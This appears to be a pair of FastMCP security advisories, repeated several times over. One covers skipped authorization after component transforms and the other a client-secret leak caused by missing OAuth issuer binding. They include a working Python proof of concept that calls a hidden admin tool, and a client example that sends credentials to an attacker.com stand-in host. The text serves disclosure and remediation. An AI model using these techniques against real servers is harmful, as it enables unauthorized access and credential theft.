        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

